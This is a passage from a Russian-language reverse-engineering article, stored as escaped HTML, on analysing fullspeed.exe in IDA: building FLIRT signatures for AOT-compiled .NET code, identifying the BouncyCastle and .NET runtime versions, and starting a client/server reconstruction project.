decode=\"async\"\/><\/p>\n<div><figcaption>\u041e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 <strong>fullspeed.exe<\/strong> \u0432 <strong>IDA<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u041d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0432 IDA \u043d\u0435\u0442 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 <strong>Fast Library Identification and Recognition Technology<\/strong>\u00a0(<strong>FLIRT<\/strong>) \u0434\u043b\u044f .NET \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 AOT.<\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 FLIRT \u0434\u043b\u044f \u0432\u0441\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u0446\u0438\u0439 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043f\u043e\u0434 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b \u043d\u0435 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043d\u043e, \u0434\u0430\u0436\u0435 \u043e\u0434\u043d\u0430 \u0438 \u0442\u0430 \u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u0438\u043c\u0435\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 .NET, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0430, \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0430\u043a\u0442\u043e\u0440\u043e\u0432. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0445 FLIRT-\u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0434\u043b\u044f AOT-\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 .NET \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043a\u0440\u0430\u0439\u043d\u0435 \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c.<\/p>\n<h3>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 FLIRT \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440<\/h3>\n<p>\u0421 \u0446\u0435\u043b\u044c\u044e \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u0432 IDA, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0442\u044c \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u043b\u0438\u043d\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0447\u043d\u044b\u0445 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439.<\/p>\n<p>\u0414\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e:<\/p>\n<ul>\n<li>\n<p>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0438 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443, \u0438\u043c\u0435\u044e\u0449\u0443\u044e \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430. \u0412 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043a\u043e\u0440\u043e\u0442\u043a\u0443\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <strong>\u00abHello, world!\u00bb<\/strong>.<\/p>\n<\/li>\n<li>\n<p>\u0412 \u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0447\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438\u043b\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438.<\/p>\n<\/li>\n<\/ul>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 <strong>Program Database<\/strong> (\u0444\u0430\u0439\u043b <strong>PDB<\/strong> \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u0445 \u2013 \u0438\u043c\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u043f\u0440.), \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 IDA, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0443\u0434\u0443\u0442 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0441 \u0438\u0445 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d \u0432 \u0444\u0430\u0439\u043b\u0435 <strong>IDA Database<\/strong> (<strong>idb<\/strong>).<br \/> \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0448\u0430\u0433\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 FLIRT. \u0415\u0441\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043a\u0430\u043a \u044d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c:<\/p>\n<ul>\n<li>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043a\u0440\u0438\u043f\u0442 <a href=\"https:\/\/github.com\/mandiant\/flare-ida\/blob\/master\/python\/flare\/idb2pat.py\" rel=\"noopener noreferrer nofollow\">idb2pat<\/a> \u043e\u0442 <a href=\"https:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/flare-ida-pro-script\/\" rel=\"noopener noreferrer nofollow\">FireEye<\/a> \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u0448\u0430\u0431\u043b\u043e\u043d\u0430 <strong>IDA Pattern File<\/strong> (\u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 <strong>.pat<\/strong>) \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430\u0445 \u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u043c \u0432\u0438\u0434\u0435. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0448\u0430\u0433 \u2013 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 .pat \u0432 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0439 \u0432\u0438\u0434 <strong>.sig<\/strong> \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b <strong>sigmake<\/strong> (\u043d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u043d\u0430\u0431\u043e\u0440\u0430 \u0443\u0442\u0438\u043b\u0438\u0442 <strong>Fast Library Acquisition for Identification and Recognition<\/strong> (<strong>FLAIR<\/strong>), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u043d\u0430 <strong>my.hex-rays.com<\/strong>).<\/p>\n<\/li>\n<li>\n<p>\u041d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 <strong>IDA Professional 8.4<\/strong> \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d <a href=\"https:\/\/docs.hex-rays.com\/release-notes\/8_4#standard-plugins\" rel=\"noopener noreferrer nofollow\">makesig<\/a>, \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 GUI IDA \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0434\u0435\u043b\u0430\u0442\u044c FLIRT \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u0441\u0440\u0430\u0437\u0443 \u0438\u0437 idb \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u043b\u0438\u043a\u043e\u0432.<\/p>\n<\/li>\n<\/ul>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/iz\/fd\/ss\/izfdssiyi_yvck_ljrpwvsndgc4.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041f\u043b\u0430\u0433\u0438\u043d makesig \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 GUI IDA\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/iz\/fd\/ss\/izfdssiyi_yvck_ljrpwvsndgc4.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/iz\/fd\/ss\/izfdssiyi_yvck_ljrpwvsndgc4.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041f\u043b\u0430\u0433\u0438\u043d makesig \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 GUI IDA<\/figcaption><\/div>\n<\/figure>\n<h3>\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a<\/h3>\n<p>\u0414\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 fullspeed.exe \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0437 \u0441\u0442\u0440\u043e\u043a, \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0432 \u0444\u0430\u0439\u043b\u0435, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u044f\u0432\u0438\u0442\u044c \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0451\u043d, \u0442\u0438\u043f\u043e\u0432 \u0438\u043b\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0438 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a.<br \/> \u0412 \u0445\u043e\u0434\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0441\u0442\u0440\u043e\u043a\u0438, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430\u043c \u0438\u043c\u0451\u043d <strong>System.Security.Cryptography<\/strong>, <strong>System.Net.Sockets<\/strong>, <strong>BouncyCastle.Cryptography<\/strong>.<br \/> \u0412\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0435\u0439 \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u0441\u043e\u043a\u0435\u0442\u0430\u043c\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 BouncyCastle.<br \/> <strong>BouncyCastle<\/strong> \u2013 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u044f\u0437\u044b\u043a\u0430\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f <strong>Java<\/strong> \u0438 <strong>C#<\/strong>.<br \/> \u041f\u0440\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 \u0444\u0430\u0439\u043b\u0435 \u043f\u043e \u0441\u0442\u0440\u043e\u043a\u0435 BouncyCastle \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0438 \u043f\u0435\u0440\u0432\u044b\u0445 10 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u0445 \u0445\u0435\u0448\u0430 SHA1 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f <a href=\"https:\/\/github.com\/bcgit\/bc-csharp\/commit\/83ebf4a8054955bb4b55e081fb6a755ea8c7bb92\" rel=\"noopener noreferrer nofollow\">BouncyCastle<\/a> (<strong>2.4.0+83ebf4a805<\/strong>).<\/p>\n<p>\u0420\u044f\u0434\u043e\u043c \u0441 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u043e BouncyCastle \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0445\u0435\u0448 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f <a href=\"https:\/\/github.com\/dotnet\/runtime\/commit\/087e15321bb712ef6fe8b0ba6f8bd12facf92629\" rel=\"noopener noreferrer nofollow\"><strong>.NET Runtime<\/strong><\/a> (<strong>8.0.5+087e15321bb712ef6fe8b0ba6f8bd12facf92629<\/strong>).<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/83\/k4\/mt\/83k4mt_jvdae8fiixentkrhpeiq.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e BouncyCastle \u0438 .NET Runtime\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/83\/k4\/mt\/83k4mt_jvdae8fiixentkrhpeiq.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/83\/k4\/mt\/83k4mt_jvdae8fiixentkrhpeiq.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e <strong>BouncyCastle<\/strong> \u0438 <strong>.NET Runtime<\/strong><\/figcaption><\/div>\n<\/figure>\n<h3>\u041d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b<\/h3>\n<p>\u0414\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435 (<strong>elliptic_curve<\/strong>), \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u0443\u0434\u0443\u0442 \u0434\u0432\u0430 \u043f\u0440\u043e\u0435\u043a\u0442\u0430: <strong>client<\/strong> \u0438 <strong>server<\/strong>. \u0412 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 client \u0431\u0443\u0434\u0435\u043c \u0432\u043e\u0441\u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u043a\u0443 \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b fullspeed.exe, \u0430 \u0432 server \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/hq\/ya\/28\/hqya28kfdmgtzwx5tkeic0ankng.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/hq\/ya\/28\/hqya28kfdmgtzwx5tkeic0ankng.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/hq\/ya\/28\/hqya28kfdmgtzwx5tkeic0ankng.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f<\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u043e\u043a\u043d\u0435 \u0432\u044b\u0431\u0435\u0440\u0435\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <strong>\u00ab\u0412\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e AOT native\u00bb<\/strong>:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/om\/5t\/o4\/om5to4bcsq7fcmieidoz3z2m_bo.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 AOT\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/om\/5t\/o4\/om5to4bcsq7fcmieidoz3z2m_bo.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/om\/5t\/o4\/om5to4bcsq7fcmieidoz3z2m_bo.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 <strong>AOT<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0438 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 client.csproj \u0431\u0443\u0434\u0443\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b:<\/p>\n<pre><code class=\"xml\">&lt;Project Sdk=\"Microsoft.NET.Sdk\"&gt; &lt;PropertyGroup&gt; &lt;OutputType&gt;Exe&lt;\/OutputType&gt; &lt;TargetFramework&gt;net8.0&lt;\/TargetFramework&gt; &lt;ImplicitUsings&gt;enable&lt;\/ImplicitUsings&gt; 